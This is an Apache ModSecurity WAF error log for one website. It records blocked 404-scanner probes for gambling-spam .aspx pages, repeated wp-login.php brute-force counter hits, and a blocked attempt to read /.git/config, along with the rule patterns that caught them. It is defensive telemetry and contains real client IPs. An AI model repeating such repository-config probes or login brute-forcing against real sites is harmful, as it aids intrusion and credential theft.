[Wed May 13 11:14:53.083495 2026] [:error] [pid 23887:tid 23919] [client 51.83.237.175:51430] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "agPsrdSKmvZJZkXBFDBTkgAAANg"]
[Wed May 13 11:14:56.414190 2026] [:error] [pid 23780:tid 23818] [client 51.83.237.175:51442] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "agPssHXgOibPjrXgeTBibQAAABg"]
[Wed May 13 11:14:59.684383 2026] [:error] [pid 3259:tid 3262] [client 51.83.237.175:47836] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agPss-WJB4YwcPVLeArOMAAAAQE"]
[Wed May 13 11:15:03.571123 2026] [:error] [pid 23887:tid 23908] [client 51.83.237.175:47842] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "agPst9SKmvZJZkXBFDBTkwAAAM0"]
[Wed May 13 11:15:06.314290 2026] [:error] [pid 23782:tid 23845] [client 51.83.237.175:47852] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "agPsuiBrKFYHXUGnR-qkiAAAAFg"]
[Wed May 13 11:15:09.269523 2026] [:error] [pid 3259:tid 3265] [client 51.83.237.175:37736] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agPsveWJB4YwcPVLeArOOgAAAQQ"]
[Wed May 13 11:15:12.528085 2026] [:error] [pid 23782:tid 23843] [client 51.83.237.175:37750] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "agPswCBrKFYHXUGnR-qkjQAAAFY"]
[Wed May 13 11:15:16.829711 2026] [:error] [pid 23887:tid 23907] [client 51.83.237.175:37758] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agPsxNSKmvZJZkXBFDBTnwAAAMw"]
[Wed May 13 11:15:19.810533 2026] [:error] [pid 3259:tid 3261] [client 51.83.237.175:37506] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agPsx-WJB4YwcPVLeArOPAAAAQA"]
[Wed May 13 11:15:23.935383 2026] [:error] [pid 23787:tid 23863] [client 51.83.237.175:37508] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agPsyx1cs5wE7VT6wirWNQAAAI8"]
[Wed May 13 11:15:27.138989 2026] [:error] [pid 23787:tid 23857] [client 51.83.237.175:37520] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agPszx1cs5wE7VT6wirWOAAAAIk"]
[Wed May 13 11:15:32.647882 2026] [:error] [pid 23887:tid 23896] [client 51.83.237.175:58168] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agPs1NSKmvZJZkXBFDBTtAAAAME"]
[Wed May 13 11:15:41.743090 2026] [:error] [pid 23787:tid 23852] [client 135.125.5.71:44662] [client 135.125.5.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.125.5.71, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agPs3R1cs5wE7VT6wirWWQAAAIQ"]
[Wed May 13 11:15:45.038702 2026] [:error] [pid 23787:tid 23859] [client 135.125.5.71:44662] [client 135.125.5.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.125.5.71, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agPs4R1cs5wE7VT6wirWXQAAAIs"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 11:28:50.398021 2026] [:error] [pid 23787:tid 23860] [client 192.64.115.21:42796] [client 192.64.115.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.115.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agPv8h1cs5wE7VT6wirYwgAAAIw"]
[Wed May 13 11:28:52.233836 2026] [:error] [pid 23787:tid 23861] [client 192.64.115.21:42796] [client 192.64.115.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.115.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agPv9B1cs5wE7VT6wirYwwAAAI0"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 11:49:45.281127 2026] [:error] [pid 23887:tid 23914] [client 203.172.89.21:40420] [client 203.172.89.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.172.89.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agP02dSKmvZJZkXBFDBh3QAAANM"]
[Wed May 13 11:49:46.621263 2026] [:error] [pid 23887:tid 23916] [client 203.172.89.21:40420] [client 203.172.89.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.172.89.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agP02tSKmvZJZkXBFDBh4gAAANU"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 11:52:46.232976 2026] [:error] [pid 23887:tid 23913] [client 43.160.225.169:39248] [client 43.160.225.169] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agP1jtSKmvZJZkXBFDBjAAAAANI"]
[Wed May 13 12:15:20.076515 2026] [:error] [pid 23887:tid 23917] [client 35.226.7.126:33586] [client 35.226.7.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.7.126, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agP62NSKmvZJZkXBFDBz0wAAANY"]
[Wed May 13 12:15:21.391143 2026] [:error] [pid 23887:tid 23909] [client 35.226.7.126:33586] [client 35.226.7.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.7.126, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agP62dSKmvZJZkXBFDBz1QAAAM4"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 12:24:38.844863 2026] [:error] [pid 23782:tid 23824] [client 159.89.87.76:49136] [client 159.89.87.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.87.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agP9BiBrKFYHXUGnR-q1wAAAAEM"]
[Wed May 13 12:24:40.435731 2026] [:error] [pid 23782:tid 23841] [client 159.89.87.76:49136] [client 159.89.87.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.87.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agP9CCBrKFYHXUGnR-q1wQAAAFQ"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 12:58:19.007159 2026] [:error] [pid 23782:tid 23833] [client 185.98.128.239:34780] [client 185.98.128.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.98.128.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQE6yBrKFYHXUGnR-q5oAAAAEw"]
[Wed May 13 12:58:20.566196 2026] [:error] [pid 23782:tid 23840] [client 185.98.128.239:34780] [client 185.98.128.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.98.128.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQE7CBrKFYHXUGnR-q5pAAAAFM"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 13:03:05.261796 2026] [:error] [pid 27332:tid 27337] [client 74.50.90.186:35920] [client 74.50.90.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.50.90.186, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQGCY6Y5F_V9bmyC4aEiAAAAUM"]
[Wed May 13 13:03:06.700814 2026] [:error] [pid 27332:tid 27336] [client 74.50.90.186:35920] [client 74.50.90.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.50.90.186, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQGCo6Y5F_V9bmyC4aEiwAAAUI"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 13:35:55.682385 2026] [:error] [pid 23780:tid 23801] [client 35.199.69.133:38500] [client 35.199.69.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "agQNu3XgOibPjrXgeTB3nQAAAAc"]
[Wed May 13 14:05:37.606889 2026] [:error] [pid 27332:tid 27349] [client 185.117.225.210:53568] [client 185.117.225.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.210, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQUsY6Y5F_V9bmyC4aZ5AAAAU8"]
[Wed May 13 14:08:03.974380 2026] [:error] [pid 27332:tid 27335] [client 163.223.13.54:57210] [client 163.223.13.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.223.13.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQVQ46Y5F_V9bmyC4abWQAAAUE"]
[Wed May 13 14:08:05.561631 2026] [:error] [pid 27332:tid 27354] [client 163.223.13.54:57210] [client 163.223.13.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.223.13.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQVRY6Y5F_V9bmyC4abWgAAAVQ"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 14:22:41.100974 2026] [:error] [pid 23887:tid 23912] [client 81.167.26.57:10316] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agQYsdSKmvZJZkXBFDCJeAAAANE"]
[Wed May 13 14:22:43.502004 2026] [:error] [pid 23887:tid 23895] [client 81.167.26.57:12278] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agQYs9SKmvZJZkXBFDCJeQAAAMA"]
[Wed May 13 14:22:46.084905 2026] [:error] [pid 27332:tid 27338] [client 81.167.26.57:49524] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agQYto6Y5F_V9bmyC4ajGwAAAUQ"]
[Wed May 13 14:22:48.673059 2026] [:error] [pid 23780:tid 23805] [client 81.167.26.57:64352] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agQYuHXgOibPjrXgeTB8jAAAAAs"]
[Wed May 13 14:22:51.272491 2026] [:error] [pid 23787:tid 23863] [client 81.167.26.57:7996] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agQYux1cs5wE7VT6wir8wgAAAI8"]
[Wed May 13 14:22:53.854911 2026] [:error] [pid 3259:tid 3285] [client 81.167.26.57:13881] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agQYveWJB4YwcPVLeAoKMAAAARg"]
[Wed May 13 14:22:56.464349 2026] [:error] [pid 23787:tid 23853] [client 81.167.26.57:6159] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agQYwB1cs5wE7VT6wir8yQAAAIU"]
[Wed May 13 14:22:59.096613 2026] [:error] [pid 23780:tid 23811] [client 81.167.26.57:48465] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agQYw3XgOibPjrXgeTB8kgAAABE"]
[Wed May 13 14:23:01.667441 2026] [:error] [pid 23787:tid 23851] [client 81.167.26.57:50633] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agQYxR1cs5wE7VT6wir83QAAAIM"]
[Wed May 13 14:23:04.258908 2026] [:error] [pid 27332:tid 27357] [client 81.167.26.57:60210] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agQYyI6Y5F_V9bmyC4ajSQAAAVc"]
[Wed May 13 14:23:06.854020 2026] [:error] [pid 23787:tid 23857] [client 81.167.26.57:57772] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agQYyh1cs5wE7VT6wir87gAAAIk"]
[Wed May 13 14:23:09.458068 2026] [:error] [pid 3259:tid 3263] [client 81.167.26.57:35504] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agQYzeWJB4YwcPVLeAoKRgAAAQI"]
[Wed May 13 14:23:11.906156 2026] [:error] [pid 3259:tid 3277] [client 81.167.26.57:31142] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agQYz-WJB4YwcPVLeAoKUAAAARA"]
[Wed May 13 14:23:14.514028 2026] [:error] [pid 23787:tid 23851] [client 81.167.26.57:18669] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agQY0h1cs5wE7VT6wir88AAAAIM"]
[Wed May 13 14:23:17.090308 2026] [:error] [pid 3259:tid 3269] [client 81.167.26.57:36312] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agQY1eWJB4YwcPVLeAoKWwAAAQg"]
[Wed May 13 14:23:19.717660 2026] [:error] [pid 3259:tid 3265] [client 81.167.26.57:33508] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agQY1-WJB4YwcPVLeAoKaQAAAQQ"]
[Wed May 13 14:23:22.161712 2026] [:error] [pid 3259:tid 3263] [client 81.167.26.57:9854] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agQY2uWJB4YwcPVLeAoKbwAAAQI"]
[Wed May 13 14:23:24.783485 2026] [:error] [pid 23887:tid 23911] [client 81.167.26.57:51335] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agQY3NSKmvZJZkXBFDCJ3gAAANA"]
[Wed May 13 14:23:27.379092 2026] [:error] [pid 27332:tid 27337] [client 81.167.26.57:17253] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agQY346Y5F_V9bmyC4ajXwAAAUM"]
[Wed May 13 14:23:30.958992 2026] [:error] [pid 23780:tid 23810] [client 81.167.26.57:33290] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "agQY4nXgOibPjrXgeTB8qAAAABA"]
[Wed May 13 14:23:33.539735 2026] [:error] [pid 27332:tid 27348] [client 81.167.26.57:46191] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "agQY5Y6Y5F_V9bmyC4ajbwAAAU4"]
[Wed May 13 14:23:36.151648 2026] [:error] [pid 23780:tid 23807] [client 81.167.26.57:43092] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "agQY6HXgOibPjrXgeTB8qwAAAA0"]
[Wed May 13 14:37:48.506895 2026] [:error] [pid 23787:tid 23867] [client 213.55.96.153:51366] [client 213.55.96.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQcPB1cs5wE7VT6wioAGwAAAJM"]
[Wed May 13 14:37:51.991208 2026] [:error] [pid 23787:tid 23858] [client 213.55.96.153:51366] [client 213.55.96.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQcPx1cs5wE7VT6wioAKQAAAIo"], referer: https://vetstars.com.au/wp-login.php
